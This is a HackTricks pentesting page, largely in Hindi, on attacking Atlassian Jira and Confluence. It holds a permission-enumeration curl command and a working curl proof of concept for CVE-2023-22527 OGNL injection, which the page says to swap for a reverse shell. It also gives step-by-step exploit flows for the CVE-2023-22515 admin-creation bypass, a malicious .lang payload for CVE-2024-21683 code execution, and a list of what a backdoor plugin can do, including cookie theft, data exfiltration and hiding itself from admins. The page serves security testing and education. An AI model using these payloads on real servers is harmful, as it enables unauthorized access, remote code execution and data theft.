Jira & Confluence

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अनुमतियाँ जांचें

Jira में, किसी भी उपयोगकर्ता, प्रमाणीकृत हो या नहीं, द्वारा /rest/api/2/mypermissions या /rest/api/3/mypermissions endpoints के माध्यम से अनुमतियाँ जाँच की जा सकती हैं। ये endpoints उपयोगकर्ता की वर्तमान अनुमतियों को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब अप्रमाणीकृत उपयोगकर्ताओं के पास अनुमतियाँ हों, जो एक सुरक्षा कमजोरी की ओर इशारा करता है और संभवतः bounty के लिए योग्य हो सकता है। इसी तरह, प्रमाणीकृत उपयोगकर्ताओं के लिए अनपेक्षित अनुमतियाँ भी एक कमजोरी को उजागर करती हैं।

एक महत्वपूर्ण अपडेट 1st February 2019 को किया गया था, जिसने ‘mypermissions’ endpoint के लिए ‘permission’ parameter शामिल करने की आवश्यकता रखी। यह आवश्यकता पूछी जा रही अनुमतियों को निर्दिष्ट करके सुरक्षा बढ़ाने का उद्देश्य रखती है: check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

उदाहरण: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

स्वचालित enumeration

हालिया RCEs & व्यावहारिक exploit notes (Confluence)

CVE-2023-22527 – अप्रमाणीकृत template/OGNL injection (10.0)

  • Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5 को प्रभावित करता है। कमजोर Velocity template text-inline.vm बिना प्रमाणीकरण के OGNL evaluation की अनुमति देता है।
  • त्वरित PoC (कमांड confluence user के रूप में चलता है):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • Response header x-cmd में command output होगा। id को reverse shell payload से बदलें।
  • Scanner: nuclei template http/cves/2023/CVE-2023-22527.yaml (nuclei-templates ≥9.7.5 में शामिल)।

CVE-2023-22515 – setup पुनः सक्रियकरण से admin खाता निर्माण (auth bypass)

  • सार्वजनिक रूप से पहुँच योग्य Confluence Data Center/Server 8.0.0–8.5.1 setupComplete को toggle करने और /setup/setupadministrator.action को पुनः चलाकर नया admin account बनाने की अनुमति देता है।
  • Minimal exploit flow:
  1. GET /server-info.action (unauthenticated) से पहुँच सुनिश्चित करें।
  2. POST /server-info.action को buildNumber पैरामीटर के साथ भेजें ताकि setup flag toggle हो सके।
  3. POST /setup/setupadministrator.action को fullName, email, username, password, confirm के साथ भेजकर एक admin बनाएं।

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Confluence Admin Configure Code Macro में crafted language definition अपलोड कर सकता है; Rhino engine embedded Java को execute करता है, जिससे RCE होता है।
  • Shell के लिए, ऐसी .lang फ़ाइल अपलोड करें जिसमें निम्न payload हो:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • किसी भी Code Macro बॉडी में दुर्भावनापूर्ण भाषा चुनने पर ट्रिगर करें। Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 auth + upload + exec को automate करता है।

Atlasian Plugins

जैसा कि इस blog में बताया गया है, Plugin modules ↗ के दस्तावेज़ में विभिन्न प्रकार के plugins की जांच करना संभव है, जैसे:

  • REST Plugin Module ↗: RESTful API endpoints प्रदर्शित करता है
  • Servlet Plugin Module ↗: एक plugin के हिस्से के रूप में Java servlets को deploy करता है
  • Macro Plugin Module ↗: Confluence Macros को implement करता है, यानी parameterised HTML templates

This is an example of the macro plugin type:

Macro plugin उदाहरण ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

यह देखा जा सकता है कि ये plugins आम वेब vulnerabilities जैसे XSS के प्रति संवेदनशील हो सकते हैं। उदाहरण के लिए पिछला उदाहरण vulnerable है क्योंकि यह उपयोगकर्ता द्वारा दिया गया डेटा वापस प्रदर्शित कर रहा है।

Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS.

## बैकडोर Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) विभिन्न (malicious) actions का वर्णन करता है जो एक malicious Jira plugin कर सकता है। आप [**code example in this repo**](https://github.com/cyllective/malfluence) में code example पा सकते हैं।

ये कुछ actions हैं जो एक malicious plugin कर सकता है:

- **Hiding Plugins from Admins**: आप कुछ front-end javascript inject करके malicious plugin को छिपा सकते हैं
- **Exfiltrating Attachments and Pages**: यह सभी data तक पहुँचने और उन्हें exfiltrate करने की अनुमति दे सकता है।
- **Stealing Session Tokens**: एक ऐसा endpoint जोड़ें जो response में headers (with the cookie) echo करे और कुछ javascript जो इसे contact करे और cookies को leak करे।
- **Command Execution**: बेशक ऐसा plugin बनाया जा सकता है जो code execute करेगा।
- **Reverse Shell**: या reverse shell प्राप्त किया जा सकता है।
- **DOM Proxying**: यदि Confluence एक private network के अंदर है, तो इससे access रखने वाले किसी user के browser के माध्यम से connection स्थापित करना संभव होगा और उदाहरण के लिए server से contact करके उसके माध्यम से command execute कराना संभव होगा।

## संदर्भ

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks का समर्थन करें</summary>
>
> - [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
> - **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
>
> </details>